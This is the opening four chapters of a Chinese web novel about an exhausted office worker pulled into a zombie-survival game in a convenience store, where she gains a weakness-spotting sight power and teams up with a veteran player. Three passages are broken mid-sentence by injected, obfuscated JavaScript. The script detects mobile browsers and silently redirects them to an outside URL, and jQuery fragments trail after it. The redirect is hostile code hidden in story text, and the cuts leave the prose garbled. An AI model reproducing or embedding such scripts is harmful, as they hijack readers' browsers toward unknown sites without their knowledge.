《我真能看见BUG!》 1. 第1章 副本 晚上十点半,容目觉得自己像条被榨干的咸鱼,还是过期的那种。 996余威尚在,让骨头缝里都透着酸软,她几乎是飘着走进了那家二十四小时便利店。 刚一推开那扇有些沉重的玻璃门,容目就以一种对加班社畜来说称得上是迅捷的速度向左侧一闪,伴着门口响起的电子欢迎铃声,熟练地躲过了王阿姨想要拍她肩膀的胖乎乎的手。 王阿姨的手拍了个空,脸上那过分热情的笑容僵了一瞬,但又立刻调整好状态,扯开嗓门寒暄了起来: “哎呦!小姑娘啊!今天又这么晚!阿姨跟你说多少次了,女孩子家不用这么拼,熬坏了身体可怎么得了!早点找个好人家嫁了才是正道!”她的声音洪亮又带着点尖锐,在寂静的夜里显得格外刺耳,如同一把高速运转的电钻,嗡嗡响着往容目本就刺痛的太阳穴里钻。 容目皱了皱眉头,强压下心里的不悦,连半点余光都没分给她,只是用目光在便利店里搜寻着自己需要的商品。 “你看你这黑眼圈,重得都快赶上熊猫了,阿姨看着都心疼!”王阿姨毫不在意容目的冷淡,自顾自地说了下去,一副苦口婆心的样子:“你听阿姨说,女孩子的花期就那么几年,不趁年轻的时候好好打扮打扮,等老了可就没人要喽!” 容目含糊地“嗯”了两声,挪动脚步,朝便利店墙边靠着的一排货架走去,试图用行动表示“我只想买东西不想聊天”。 她可太熟悉这套流程了,只要接上一句话,这个王阿姨就会和打了鸡血一样,进行至少十分钟的单方面“关怀”输出,从身体健康聊到婚恋状况,让人烦不胜烦,头痛无比。 至于为什么不换一家店……一个是因为这里距离她租住的公寓最近,不过一两分钟的脚程,买点日用品什么的确实方便,如果总是跑到别的地方买东西,对于一个渴望补觉的社畜来说时间成本太高了。 而另一个原因嘛……容目苦涩地扯了扯嘴角——她实在是太穷了! 对一个研究生毕业,刚刚在大都市找到工作,并且还身负高额房租的人来说,一家经常售卖临期打折商品的便利店就显得弥足珍贵了。 虽然王阿姨嘴碎了点,事多了点,但不可否认的是,她拥有老年人所普遍具备的精打细算的品质。 在她的店里有一排货架,专门摆放着因为各种瑕疵而卖不出去,但她又舍不得丢掉的商品。从临期的牛奶、外包装破损的泡面,到不知道哪个小作坊生产出来的面膜,应有尽有。这些商品被她精明地挑出来摆放在一起,再挂上印着“骨折价”“跳楼价”的醒目大字纸牌,也确实能吸引不少节俭的老人,或者……像容目这样的穷人。 便利店天花板上的白色日光灯明亮而稳定,将这片空间里的货物照得纤毫毕现,当然也照出了一前一后两道正在向“特价区”移动的身影。 走在前面的女孩一身普通灰色衣裤,她虽然高挑修长,气质超群,但面色却难掩憔悴,好像已经很久没休息好了,眼睛周边都浮起了一圈淡淡的乌青——这正是挑选商品的容目。不用说,跟在她身后寸步不离的,自然就是喋喋不休的王阿姨了。 此时王阿姨正在兴头上,手舞足蹈地推荐着各类产品,唾沫星子几乎要溅到容目的耳廓:“是不是又没吃晚饭?饿着肚子睡觉最伤胃了!我跟你说,今天新到的火腿肠,买一送一!还有这个速食粥,热水一冲就行,暖胃又舒服……” 容目充耳不闻,绕着“特价区”的货架转了两圈,目光从花花绿绿的各式包装袋上划过,心里盘算着最近还缺什么。 突然,她的脚步顿住了,视线凝在了货架最下层。 那是一包抽纸。 容目说不好自己为什么会对这包抽纸产生浓厚的兴趣,它花纹普通,品牌普通,连价格在一众打折品中都显得很普通。但它仿佛有一种强大的魔力,让人不由自主地将目光投向它,想要触碰它。 这么想着,容目也这么做了。 她弯下腰,缓缓伸出手,想要拿起这包平平无奇,但又极具吸引力的抽纸。 “哎等等!”侧方忽然伸出一只胖乎乎的手,拉住了她的胳膊,王阿姨圆润的脸上露出了点疑惑,“这是什么时候进的货,我怎么没有印象?这样最后不好算账。” 容目根本不在意别人都说了些什么,所有的声音传到她耳中都如同隔了一层膜,模模糊糊的听不清楚。她的目光已经牢牢黏在了抽纸上,从心底油然而生一股强烈的渴望,仿佛有无数张嘴在她的脑海里叫嚣“得到它”! 她无意识地一挥手,将王阿姨推了个趔趄,在王阿姨嘟嘟囔囔抱怨“现在的年轻人真没礼貌”的声音里,她一个箭步扑上前,将那包抽纸抓在了手里。 抽纸入手的一瞬间,世界突然安静了。 那是一种极致的、令人毛骨悚然的寂静。 王阿姨喋喋不休的抱怨声、便利店内播放的绵软情歌、冰柜压缩机规律的嗡鸣、街道上传来的隐约车流声……所有构成世界背景音的声响,在这一刻被彻底抽离。 绝对的静默,沉重地压了下来。 容目因为这突如其来的变化而怔住,她保持着弯腰的姿势,手中还残留着抽纸外包装光滑的塑料触感,塑料皮随着她无意识地一收五指,发出了“刷啦”一声响,在此刻的寂静中显得尤其突兀。 这道声音仿佛是一个信号,唤醒了沉睡已久的另一个世界。 容目在事后曾无数次问自己,如果当时她没有来到这家便利店,没有接近这包抽纸,是不是就不会被卷进接下来这些该死的事件当中,是不是还能继续过她忙碌但安全的社畜生活?她给不出答案。 此刻,她也无暇顾及这个问题的答案。 头顶那一直稳定明亮的白色日光灯开始疯狂闪烁!明!灭!明!灭! 光线如同犯了癫痫,以极高的频率剧烈跳动,将整个便利店切割成不断变幻的黑白碎片。在这样诡异的光影下,货架上所有商品的包装都开始扭曲、变形,色彩像是被水浸染般晕开、流淌。 “电……路故障?”容目试图找出一个合理的解释,但眼前的景象显然远超“故障”的范畴。 她手中抽纸平平无奇的包装上,品牌LOGO像活物般蠕动起来,黄色的特价标签融化、重组,猩红的墨迹翻滚着,最终凝固成一行绝不该出现在纸巾包装上的、仿佛用鲜血写就的狰狞文字: 【欢迎参加血月尸潮新手体验局,当前存活率92%】 容目猛地直起身,心脏骤然收紧!她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039414|194673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难以置信地瞪着那行字,又猛地抬头环顾四周—— 原本在货架间整理商品的夜班店员消失不见了,透过玻璃门看向外面,街道上空空荡荡,一辆车、一个人影都没有,只有路灯投下惨白而静止的光晕。 整个世界如同被按下了暂停键,只剩下她一个活物。 不,不是只剩她。 她僵硬地、一寸一寸地转过头,看向身旁的王阿姨。 王阿姨还保持着被她推开后踉跄一步的姿势,但胖乎乎的脸上那不满和疑惑的表情凝固了,像是博物馆里一尊栩栩如生的蜡像。她的眼睛大睁着,但瞳孔里却没有了神采,只剩下一种无机质的、混浊的乳白色。 她怎么了? 【E级副本加载完毕,正在为玩家容目初始化信息……】 【检测到玩家综合素质达到随机异能标准,恭喜你超越90%玩家,获得一次异能抽取机会!】 【恭喜获得专属异能:真视之瞳(系统评级:E)】 【接下来是新手教学阶段】 一连串冰冷、毫无感情的电子音直接在容目脑海中响起,每一个字都像是冰锥砸在她的神经上,激起了一片鸡皮疙瘩,让她无暇再去思考王阿姨奇怪的样子。 异能?副本?新手教学? 信息像海啸,冲击着她因为过度加班而疲惫迟钝的大脑,让她几乎无法思考。她只是呆呆地望着王阿姨不知何时转过了头,将后脑勺对准她,层层叠叠的后颈皮肤中,一个指甲盖大小的荧光红点,正如同心脏搏动般,规律地、固执地明灭闪烁。 【红色标记点为玩家的能力效果之一——弱点标记,请尝试攻击标记点,会有意外惊喜哦~】 电子音又一次凭空响起,这一次,它拥有了抑扬顿挫的语调,但听起来却更令人不舒服了,如同一个披着人皮的生物在学习模仿人类的动作情态,让人本能地感到恐惧与恶心。 看看变得奇怪,且一言不发的王阿姨还一动不动地扭着头,容目又低头看了一眼自己手中握着的那包“灾祸起源”,现在这包抽纸再也没有了之前那奇怪的吸引力,被她紧张之下捏得皱皱巴巴。她犹豫了一下,不太确定该不该扔掉这包让事情变得如此诡异的抽纸,万一它还能让一切恢复原状呢。 至于这个诡异的新手教学……她又抬起头,看了一眼仍然没回过头来的王阿姨,不知道她的眼睛怎么了,刚才突然变成那样,还怪吓人的。 这一眼,却让容目惊得差点尖叫出声。 王阿姨——或许已经不该这么称呼了——不知何时已经将头转了回来,“她”只剩下眼白的眼球咕噜咕噜滚了几下,浮凸得厉害,仿佛随时能从眼眶里掉出来,而“她”的嘴咧得极大,嘴角几乎横跨了大半张脸,露出了口腔内部密密麻麻的牙齿——那绝不是人类所应该拥有的牙齿数量。一滴口涎从嘴角蔓延出来,顺着下巴慢慢滑落,直至没入“她”突然变得松弛许多的皮肉中。 这恍如噩梦的景象让容目手脚冰凉,几乎愣在了原地,直到她看见“王阿姨”后退半步,接着,“她”肥胖的身体以一种不符合物理规律的敏捷猛地扑了过来,速度快得带起一阵腥风! 那包特价抽纸,终于从容目彻底脱力、冰凉的手指中,滑落在地。 2. 第2章 战斗 “咳咳……”一片死静的便利店里,容目艰难地咳了两声,缓缓靠着货架坐起身,重重地吐出了一口浊气。 说实话,连她自己也没想到,她居然能从那样恐怖的怪物手中活下来。 时间回到五分钟前。 腥臭的劲风扑面而来,打在脸上竟有了刺痛感,容目的大脑一片空白,极度的恐惧和求生的本能像两股电流在她僵硬的肢体里疯狂对冲。 日光灯近乎疯狂地闪烁了几下,终于不堪重负,“啪”的一声熄灭了,室内骤然陷入一片黑暗,容目只能模糊地看到左右两侧高大的货架,以及前方越来越近的庞大黑影。而她身处狭窄的过道中央,避无可避。 难道就要这样结束了吗?离奇地被拉入一个副本,成为所谓的幸运儿获得异能,结果在新手教学阶段莫名其妙地死去? 当怪物的影子即将笼罩住容目的时候,她的脑子里突然蹦出了一个不合时宜的想法:她死得应该会很快,也许不到五秒,应该遭不了什么罪。只是有点可惜,她的运气一向不太好,买彩票连五块钱都没中过,这次好不容易成了幸运儿,得了一个异能,却这么快就要死了。 等等,新手教学!异能!容目微微瞪大了眼睛,她想起来了,怪物后颈皮肤中的那一抹红光就是它的弱点! 但是,她醒悟得太晚了。 “咚!”怪物臃肿的身躯重重砸在了容目身上,巨大的冲击力让她的五脏六腑都翻涌起来,强烈的痛苦紧紧攥住了她的心脏,让她近乎晕厥。 怪物冰冷而僵硬的身体死死压住她,腥臭的口涎滴落在她的脸颊,带着令人作呕的腐败气味。那双混浊的白色眼珠近在咫尺,贪婪地锁定着她的喉咙,张开的嘴里发出“嗬嗬”的可怖吼叫。 窒息感如同潮水般涌上,胸腔被挤压得快要爆炸,肋骨发出不堪重负的呻吟……死亡的阴影彻底将她笼罩。 不!不能死! 至少不能死得这么窝囊!死在一包抽纸引发的惨案里!死在……这个话唠又精打细算的王阿姨嘴里! 强烈的求生欲猛地注入四肢百骸!就在那布满污渍的利齿咬合下来的瞬间,容目爆发出了最后的力量! 她剩下那条没有被压住的腿用尽全力曲起,膝盖狠狠顶向丧尸的腹部,同时拼命转动脖子,让脑袋向一侧偏开。 “吼!”丧尸被这突如其来的反抗打断,咬合的动作一滞,对容目的钳制也出现了片刻的松动。 就是现在! 容目的右手在冰冷光滑的地面上疯狂摸索!刚才摔倒时,她似乎碰掉了货架上的什么东西……有了! 指尖触碰到一个细长、冰凉、坚硬的金属物体——是那支用来夹住促销标签的不锈钢山形夹!尾部尖锐而锋利。 她几乎来不及多想,凭本能握紧这支简陋无比的“武器”,用尽浑身力气,将山形夹尾部对准她记忆中红点所在的位置——猛刺下去! “噗——” 山形夹刺入的地方发出了一声闷响,像是扎破了一个坚韧的橡胶轮胎。 夹子尖端艰难地破开皮肉,精准地命中了怪物后颈那点红光! 时间仿佛在这一刻停滞。 怪物发出了一种极其怪异的、如同泄气般的“嘶嘶”声,狰狞的表情凝固在脸上,浑浊的眼珠瞬间失去了所有神采,那点暗红的光芒剧烈闪烁了几下,终于彻底熄灭。 肥胖的身躯失去了一切支撑,软软地瘫倒下来,沉重地压在她身上,不再动弹。 【新手教学结束!】 【恭喜玩家容目成功击杀E级丧尸×1!】 【真视之瞳等级微幅提升!】 冰冷的系统提示音如同天籁般在脑海中响起,掺杂着许多容目听不懂的词汇。 “咳……咳咳咳……”容目剧烈地咳嗽起来,她奋力将尸身推起来一点,一用劲,从下面滚了出来,瘫倒在一旁,贪婪地呼吸充斥着血腥与腐臭味的空气。 她活着。 她真的……反杀了。 劫后余生的虚脱感席卷而来,让她浑身都在不受控制地颤抖。手臂因为用力过度而酸软无力,握过那支山形夹的手更是抖得厉害。 她看了一眼旁边那具一动不动的尸体,胃里一阵翻腾。她撇过脸,不再向那边看。 原来王阿姨变成的怪物,就是影视剧里常常出现的丧尸啊。好端端的一个人,虽然嘴碎了点,有时候还愿意多管闲事,但是归根到底心是不坏的,她也只是一个在大都市里精打细算过日子的小老百姓罢了。 但就因为这样莫名其妙的诡异事件,让王阿姨失去了自己的意识,变成丧尸丢了命! 容目心底不由得升起了一股悲哀与愤怒,但却又无能为力。 她虚弱地向后靠在货架上,强忍着全身上下无处不在的疼痛,将脸埋在手心里,疲惫地叹了口气。 这短短几分钟经历的事,比她前二十五年的人生加起来都惊险得多,让她有些消受不了。 但电子音很明显不会照顾她的情绪,容目刚刚打算缓一口气,下一道播报就接踵而至了: 【实时播报,当前存活率89%】 这么短的时间内,存活率就下降了三个百分点!但这不是重点,容目皱了皱眉,刚开始看到存活率的时候她还没多想,但现在看来,这场所谓的副本还有其他玩家! 这个认知让容目的心脏猛地一沉。 她不是唯一的不幸者。还有其他人,和她一样被卷入了这个疯狂而致命的游戏。而就在刚刚,甚至更早的时候,已经有一些“玩家”……死了。 存活率的下降,普通一把冰冷的锤子,狠狠地敲碎了她劫后余生的些许庆幸,将她重新拉回残酷的现实。 这不是一场可以慢慢适应的噩梦。这是一场真正的生存竞赛,失败就意味着死亡。 【警告:第一波尸潮将在二十分钟后抵达】 【请玩家尽快寻找安全点或武装自己】 电子音再次响起,这一次,它带来了更糟糕的消息。 容目猛地从地上弹了起来,牵扯到了身上的伤处,带来一阵尖锐的疼痛,但她此刻完全顾不上了。 尸潮!二十分钟! 她的神经瞬间紧张起来:一个丧尸已经让她在鬼门关走了一遭,一群丧尸……她不敢想象那会是怎样的场景。 必须立刻行动! 她强行压下了所有的疼痛、疲惫和悲伤,目光快速扫过一片狼藉的便利店。灯光早就暗了下来,借着街道的路灯和隐约的月光,她很快排除了宽阔的主货区——虽然有好几排货架作为遮挡,但在大量涌入的丧尸面前真的不够看。 而只有二十分钟的准备时间,她又不能跑太远,不然没等她找好掩体,就要先被丧尸发现了。 很快,她将目光锁定在了角落里那扇标着“员工专用”的门上。 她踉跄着走过去,尽量不触碰到任何物品——谁知道便利店里还有没有和那包抽纸一样邪门的东西,她不敢冒这个险。 说到抽纸……她不由回头看了一眼,可能是光线太过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039415|194673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昏暗的原因,除了地上那具庞大臃肿的身体,再没有什么躺在地上的东西了。 也许被挡住了吧,容目无暇多想,现在保全自身才是最紧要的事,别的只能以后再说了。 好不容易拖着伤痕累累的身体到了门前,她试探性地拧了拧门把手。 锁着的。 容目暗骂一声,强迫自己冷静下来。钥匙……钥匙在哪……她突然扭过头,目光投向“王阿姨”倒下的地方。 两分钟后,她手里拿着从丧尸腰间取下来的一串钥匙,尽力忽略上面散发的霉腐气息,打开了这扇门。 里面是一个狭小的后勤间,顶部亮着一盏小小的备用灯,堆放着纸箱、清洁工具和一个铁皮柜,空气里散发着淡淡的灰尘和消毒水气味,最重要的是,没有窗户,只有这一扇门! 容目闪身进去,立即将门反锁,后背紧紧抵住门板,心脏还在狂跳。 暂时……安全了。 但这个安全能持续多久?这扇薄薄的门板能挡住尸潮吗? 她不敢赌。 容目深吸一口气,开始疯狂地搜索这个小小的空间,寻找一切可能用得上的东西。 纸箱里只有些文具和打印纸,没用。清洁工具……扫把?拖把?没什么杀伤力不说,而且太不结实了。 她将目光投向了那个带锁的铁皮柜。上面只有一把普通的挂锁。 费了一番周折,她取下了那把用墙角撬棍撬开的锁,拉开柜门,里面的东西让她眼前一亮: 几瓶未开封的矿泉水。 一小箱能量棒和独立包装的压缩饼干。 一个简易急救包(里面装着无菌纱布、酒精和创可贴)。 一把战术手电筒和两节备用电池。 食物、水、药品、光源一应俱全! 虽然外面的超市里物品更多更全,但经过了开门开锁等一系列事件以后,剩下的时间已然不多,容目不敢将剩余的时间全部用在收集物资上,她还需要布置一下这间员工休息室。 她快速将所有能装的东西塞进了自己找到的一个帆布工具包中。然后拧开水瓶,猛灌了几口水,又撕开一根能量棒,狼吞虎咽地吃下去,让糖分和水分补充她几乎耗尽的体力。 最后,她抓起那根沉甸甸的实心金属撬棍,冰冷坚实的触感稍稍驱散了心中的不安。 时间紧迫,她冲到铁皮柜前,咬紧牙关,忍着身上一波一波的酸痛,将撬棍插进柜子底部的缝隙,利用杠杆原理,用尽全身力气向上撬动。 “嘎吱——” 沉重的铁皮柜发出一声刺耳的摩擦声,被她艰难地挪动了一小段距离。 她喘息着,再次发力,汗水从额角滑落。一点一点,铁皮柜被她以一种近乎笨拙却又无比执着的方式,缓缓拖拽到了门后。 “咚——” 铁皮柜终于斜着顶在了门板内侧,厚重的金属躯体构成了一道简陋却实在的屏障。 但还没等她松一口气,电子音就开始了最后的通报: 【警告:第一波尸潮预计60秒后抵达当前区域】 容目猛地后退几步,背紧紧贴在最里面的墙壁上,尽可能远离门口。她关掉了顶部的备用灯,将自己彻底隐藏在黑暗中。 她左手紧握战术手电筒,右手反握住冰冷的撬棍,横在身前,摆出一个不甚标准的防御姿态。 一片漆黑里,她能清晰地听到自己心脏在胸腔里疯狂擂动的声音,几乎要掩盖住门外那由远及近、越来越响亮的恐怖浪潮声。 3. 第3章 幸存者 “唰——” 金属撬棍裹挟着凌厉的破空声袭来,以迅猛的势头扎入了丧尸的心口,直直没入那一点跳动的红光。 随着红光不情不愿地渐渐熄灭,丧尸如同一个失去了所有动能的充电玩具,“扑通”一声倒在了地上。 容目费力地拔出金属撬棍,带起了一小片飞溅的血肉。她拄着棍子,“呼哧呼哧”地喘了几口气,竭力保持意识清醒。 此刻,她站在员工室破损的门前,身前的地面上横七竖八躺了一片丧尸,这些都是大门被攻破后她打倒的敌人。 她也没想到丧尸会这么多,也没想到每个丧尸的弱点标记位置还都不太一样,最开始被打了个措手不及。但好在她提前有所准备,又重新加固了门板,才没有在攻击之下遇难。只是这好不容易找到的临时避难所彻底报废了,门板撕裂,挡不住什么东西了。 污血在地面上缓缓流淌,散发出令人作呕的腥臭。容目强忍着眩晕感,警惕地扫视着主货区——那里依旧回荡着零星的嘶吼和碰撞声,但似乎没有新的丧尸立即涌向这个角落。 必须尽快离开了。这里的动静太大,血腥味太浓,迟早会吸引更多怪物。 她平复了一下呼吸,背上装满物资的工具包,审视着外面的环境。大批量的尸潮应该已经过去了,还有丧尸在外面游荡,但好在它们似乎智商不太高,只要小心一点不弄出大动静就不足为惧。 正当她思索的时候,突然,一阵轻微却急促的脚步声从右侧的货架通道尽头传来! 不是丧尸那种拖沓、混乱的步子,而是属于人类的、刻意放轻却难掩仓促的脚步声! 还有在外面活动的人活着? 容目瞬间绷紧神经,几乎是条件反射般举起撬棍,压低身体,将自己隐藏在破损的门框阴影里,目光锐利地盯向声音的来源。 脚步声越来越近,还夹杂着压抑的喘息。 下一秒,一个身影猛地从货架后拐出! 那是一个看起来二十出头的年轻女人,身形矫健,穿着便于活动的运动装,马尾辫有些散乱,脸上沾着些许污渍,眼神却亮得惊人,带着一种经历过厮杀的锐利和警惕。她手中紧握着一把看起来是消防斧的武器,斧刃上还沾着暗色的痕迹。 两人的视线在空中骤然相遇! 一瞬间,双方都愣了一下,随即同时做出了反应! 容目握紧撬棍,身体肌肉紧绷,保持着随时可以出击或防御的姿态。她的“真视之瞳”快速扫过对方——没有看到代表丧尸的红光点,对方看起来应该是活人。 当然,她见过的丧尸中,也没有一个拥有如此敏捷的行动能力,要不然就凭她这种社畜体质,是绝对不可能活到现在的。 那女人也猛地停下脚步,消防斧横在身前,目光快速扫过容目,又扫过她身后那扇被破坏的门以及门口倒下的几只丧尸,眼中闪过一丝明显的惊讶,但更多的是审视和评估。 “你……”女人率先开口,声音有些沙哑,却带着一种不容置疑的冷静,“新手?一个人撑到现在?” 她的语气太多情绪,因为怕引来丧尸,声音也压得很低,但她身上果决的、如同蓄势待发的猛兽一般的气质却分毫未减。 容目能感受到对方身上汹涌的力量,那是只有经过多次实战才能积累出来的战意。 她微微点头,浑身肌肉紧绷,目光紧盯着对方:“是,第一次。你是?” “林暖,这是我的第三个副本。”女人言简意赅。她侧耳听了听外面的动静,语速加快,“我没有恶意,只是过来搜集物资。” 顿了顿,似乎是犹豫了一下,林暖再次开口:“我看你身手还行,要和我一起吗?在这个副本里,多一个人照应比单打独斗要强得多。” 对方很讲道理,目前没有攻击意图,还向自己释放了友善的信号,而且……她经验更丰富,说不定能从她这得到一些消息。 容目不再维持预备战斗的姿势,手中的金属撬棍垂了下来。 她伸出手,抹了一把自己脸上的污血,露出一个礼貌的微笑,“我叫容目,接下来怎么做?” 林暖面上的神色松了松,她干脆利落地一颔首,算作对容目的欢迎,然后轻声开口:“第一波尸潮已经结束了,应该会有一小时的中场休息时间。现在先去收集物资,尽量不要惹出太大动静,十分钟后原地集合。” 容目惊异地看了她一眼,有些不清楚明明电子音没有播报,林暖怎么这样精确地知道中场休息时间的,难道每个人听到的电子音都不一样吗?但她知道现在不是问这些事情的好时机,她只是沉默地点点头,与林暖分头转身没入了排排货架之间。 搜集物资比想象的容易了不少。容目尽量小心地穿行在货架之间,快速筛选收集有用的货物,因为经常来这里买东西,她对便利店的地形和货品区域已经很熟悉了。偶尔迎面遇到丧尸,她就挥起手中的撬棍,根据弱点一击毙命,一般都不会产生多大的动静。 只是有一次同时遇见了两只丧尸稍稍打乱了她的阵脚,发出的声音大了点,不过好在有惊无险,没引起什么别的连锁反应。 十分钟以后,两人再次在员工休息室门前集合。 经过了惊心动魄的一个晚上,此刻的天边已经泛起了鱼肚白,朦胧的天光给一切都镀上了一层浅浅的白边。 林暖瞥了一眼容目携带的物资,面上依然没什么表情,她语气轻轻:“走吧,我知道还有一个安全点,比这里结实。” 她转身向大门口走去,脚步轻且迅捷,容目跟在她身后,边走边暗暗佩服。林暖手里拎着一个巨大的编织袋,里面鼓鼓囊囊地塞满了东西,看起来就很沉,但她将袋子扛在肩上,走起来依然迅捷如风,似乎这点重量对她来说毫无压力。 反观容目自己,拿的东西比人家少不说,此刻勉强跟在林暖身后,已经感到力不从心了,连呼吸都因为重物而急促了不少。 她用尽全力,跌跌撞撞地跟着向前走了一段,好不容易到了大门外面的街道上,终于有点吃不消了,速度渐渐慢了下来。 之前身上还没愈合的伤又开始散发出尖锐的痛楚,让她不由低低地吸了口凉气。 前方轻轻的脚步声停住了,林暖回头看了看,似乎微不可察地皱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039416|194673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了下眉,然后走了回来。 “给我。”林暖伸出右手,声音平静。 容目愣了愣,没反应过来,一时间没有动作。 似乎是感受到了容目的困惑,林暖维持着手上的动作不变,脸上没什么表情,“以你现在的体能和身体状况来看,这些物资对于你来说已经成了负累。”她看着容目,继续道:“这样会大大拖慢我们的速度,导致在下一波尸潮之前,我们无法赶到安全点。所以,现在由我负责搬运全部物资才是最佳的选择。” 这一串话说完,她又向前伸了伸手,“所以,东西给我。” 容目看了林暖一眼,将自己的帆布包快速解下来递给她,心里涌起了一股暖流,看起来,林暖其实是一个面冷心热的人。 林暖接过包,又不知道从哪掏出了一个寸把长的小玻璃瓶,扔向容目。 瓶子在空气中划过一道银亮的弧度,被容目稳稳接住。 “把这个喝了,初级速效疗伤药,你这种小伤很快就能好了。”林暖没回头,重新迈开了步子,只有声音传进了容目耳中。 这瓶子里的液体是银色的,在昏暗的晨曦中散发着幽幽的冷光。容目轻轻晃了晃瓶子,听见了液体撞击瓶壁发出的清脆响声。 没有一丝犹豫——对方如果想害她不用费这么大功夫。她拔开瓶盖,将里面的液体一饮而尽。 液体凉凉地滑入喉咙,伴随着一种微苦的味道顺着食管流下。不过须臾之间,她的四肢百骸就升起了暖融融的热意,之前的伤痛立时减轻了不少。 这么好用的东西,也不知道在哪里能买到,她心里暗暗地想着,有时间找林暖打听一下。 痛感一减弱,容目身上的力气顿时恢复了不少,她抬起腿,追向前方已经走了一段距离的林暖。 二人一前一后,走在空旷的马路上。天还没完全亮起,一切都浸在融融的光晕里。 无论是街道上还是两侧的楼房里,都是一片沉沉的静默,只有两人轻轻的脚步声,带起了一片转瞬即逝的杂音。 走了一会,容目微微皱起了眉头——这条街上未免也太安静了。昨天晚上那些丧尸如潮水一般涌来的景象仍然历历在目,那家便利店几乎要被它们挤成碎片。连小小的便利店里都有如此规模的丧尸群出现,那可想而知外界会有多少游荡的、寻找活人的丧尸了。 那样体量的丧尸群,绝对不可能无声无息间就全部被消灭掉。 难道……这些丧尸正躲在暗处,躲在周围的建筑群里,等待着下一个攻击的机会吗? 容目被自己的想法吓了一跳,后背上冷汗涔涔,她快跑两步,紧紧跟上林暖,刚想伸手拍拍她,告诉她自己的顾虑,但就在这一瞬间,不知道为什么,她的动作顿住了。 如同被一只猛兽盯住一般,容目突然感受到了一种强烈的恐惧。 “真视之瞳”不安地震颤着,隐隐地发热,似乎焦急地想传递什么消息。 很快,容目就知道自己为什么会如此不安了。 因为,她终于在“真视之瞳”的红光提醒下,看到了不远处楼顶狙击手镜头散发的反光。 4. 第4章 狙击手 容目第一次发现,原来她获得的异能“真视之瞳”还有望远镜的功效。 就比如说现在,她能清晰地看到三百米开外的楼顶上,正埋伏着一个狙击手。 而且……她的瞳孔微微收缩,焦距瞬间拉近,楼顶的细节一下子映入眼帘——破损的水泥边缘、被斑斑锈迹侵蚀的避雷针,以及一个趴伏于天台边缘的、穿着破烂迷彩服的身影。 那绝非人类。 它的皮肤呈现出一种丧尸特有的青灰色,干瘪紧贴着骨骼,一把经过改装的重型狙击步枪被它僵硬却稳固地架在身前。最令人心悸的是它的眼睛:没有瞳孔,只有一片浑浊的惨白,但此刻却死死地透过瞄准镜,锁定着她们这个方向。 “狙击手……丧尸?”容目压低声音,喉咙有些发干,这完全超出了她对丧尸的认知。 紧接着,她的心脏骤然缩紧!那个丧尸似乎定准了方向,已经将腐烂变形的手搭在了扳机上,手指正在慢慢收紧。 前面的林暖反应极快,几乎在容目开口的同时,猛地将她向旁边一推,自己跟着合身扑过来!两人一起扑倒在一个巨大的混凝土装饰花坛后面。 “砰!” 就在她们倒地的瞬间,一声沉闷而巨大的枪声撕裂了空气,震得人耳膜隐隐作痛,紧接着是什么东西碎裂飞溅的声音。容目捂着耳朵回过头,看见她们刚才站立位置后方的一个消防栓猛地爆开,水柱冲天而起!金属碎片咻咻地擦着花坛边缘飞过。 如果刚才没有躲开……容目不敢细想,赶紧向刚才狙击手的方向看去,试图搞清楚对方的下一步动作。 但这一看之下,她却不由得愣住了:刚才那个会狙击的丧尸不见了!此刻的顶楼上空空荡荡,只有一些碎砖石瓦砾留在上面,连一个人形的东西都没有。 这又是怎么回事? “什么情况?”林暖拧着眉头,顺着子弹射来的方向看去,“怎么突然有狙击手盯上我们了?” “那不是人。”容目深吸一口气,迎着林暖有些惊讶的目光,继续说下去:“是一个有狙击能力的丧尸。” 林暖再次拧过头,眯起眼睛向那个方向张望了几秒,回过头来,“所以这就是你的异能?视力强化?” 容目被她突如其来的这句话惊了一跳,她没想到对方的观察分析能力如此之强,不管短短两句话的功夫,对方就已经断定她有异能,而且还猜出了异能的类型。 “算是吧。”容目没有完全透露底细,只是含糊地应了一声,目光依旧警惕地扫视着远处的楼顶,“它不见了,刚才明明就在那里……” 林暖没有追问,她的表情变得更加严肃:“如果是特殊进化体,那就更麻烦了。它们往往比普通丧尸更狡猾,拥有某种‘狩猎’本能。”她侧耳倾听,除了远处隐约的嘶吼和风声,一片死寂,“它肯定没走远,可能是在移动位置,寻找更好的射击角度。或者……只是为了拖延时间,让第二波尸潮解决我们。” 就在这时,容目的“真视之瞳”再次捕捉到一丝异样!这次并非来自楼顶,而是来自侧面一栋商业楼的三层窗户。那里有一个极其微弱的光点一闪而过——是瞄准镜的反光! “不对,它转移了!五点钟方向,那栋楼的第三层!”容目急声低喝,猛地拉住林暖的胳膊向下压低身形。 几乎同时! “砰!” 